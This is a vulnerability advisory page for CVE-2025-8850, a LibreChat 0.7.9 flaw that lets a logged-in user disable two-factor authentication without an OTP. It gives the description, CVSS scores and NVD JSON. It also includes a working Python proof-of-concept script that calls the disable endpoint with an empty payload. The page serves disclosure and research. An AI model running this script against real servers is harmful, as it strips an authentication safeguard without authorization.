Security Vulnerability Report
中文
CVE-2025-8850 CVSS 8.8 HIGH

CVE-2025-8850

Published: 2025-10-30 20:15:40
Last Modified: 2025-11-19 15:27:48

Description

In danny-avila/librechat version 0.7.9, there is an insecure API design issue in the 2-Factor Authentication (2FA) flow. The system allows users to disable 2FA without requiring a valid OTP or backup code, bypassing the intended verification process. This vulnerability occurs because the backend does not properly validate the OTP or backup code when the API endpoint '/api/auth/2fa/disable' is directly accessed. This flaw can be exploited by authenticated users to weaken the security of their own accounts, although it does not lead to full account compromise.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:librechat:librechat:0.7.9:-:*:*:*:*:*:* - VULNERABLE
librechat < 0.7.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-8850 PoC - LibreChat 2FA Disable Bypass # Target: danny-avila/librechat <= 0.7.9 TARGET_URL = "http://target-server.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/api/auth/login" DISABLE_2FA_URL = f"{TARGET_URL}/api/auth/2fa/disable" def exploit_cve_2025_8850(username, password): """ Exploit: 2FA disable without valid OTP/backup code Attack vector: Direct API call to /api/auth/2fa/disable """ session = requests.Session() # Step 1: Login to get valid session login_data = { "email": username, "password": password } login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print(f"[-] Login failed: {login_response.status_code}") return False print("[+] Login successful, got valid session") # Step 2: Disable 2FA without OTP (VULNERABLE CODE) # The API should require valid OTP or backup code, but it doesn't disable_payload = { # Intentionally NOT providing OTP or backup_code # This should fail but due to the vulnerability, it succeeds } disable_response = session.post(DISABLE_2FA_URL, json=disable_payload) if disable_response.status_code == 200: print("[+] SUCCESS: 2FA has been disabled without OTP!") print(f"[+] Response: {disable_response.json()}") return True else: print(f"[-] Failed: {disable_response.status_code}") print(f"[-] Response: {disable_response.text}") return False if __name__ == "__main__": # Usage example username = "[email protected]" password = "password123" exploit_cve_2025_8850(username, password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8850", "sourceIdentifier": "[email protected]", "published": "2025-10-30T20:15:39.633", "lastModified": "2025-11-19T15:27:48.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In danny-avila/librechat version 0.7.9, there is an insecure API design issue in the 2-Factor Authentication (2FA) flow. The system allows users to disable 2FA without requiring a valid OTP or backup code, bypassing the intended verification process. This vulnerability occurs because the backend does not properly validate the OTP or backup code when the API endpoint '/api/auth/2fa/disable' is directly accessed. This flaw can be exploited by authenticated users to weaken the security of their own accounts, although it does not lead to full account compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-440"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.7.9:-:*:*:*:*:*:*", "matchCriteriaId": "74A99A2E-023B-4C39-9696-61DA01C9284E"}]}]}], "references": [{"url": "https://github.com/danny-avila/librechat/commit/7e4c8a5d0d2dbe5bf8fd272ff6acafb27d24744f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/8e615709-f4de-41e2-b194-f0d91ed7c75e", "source": "[email protected]", "tags": ["Exploit", "Patch", "Third Party Advisory"]}]}}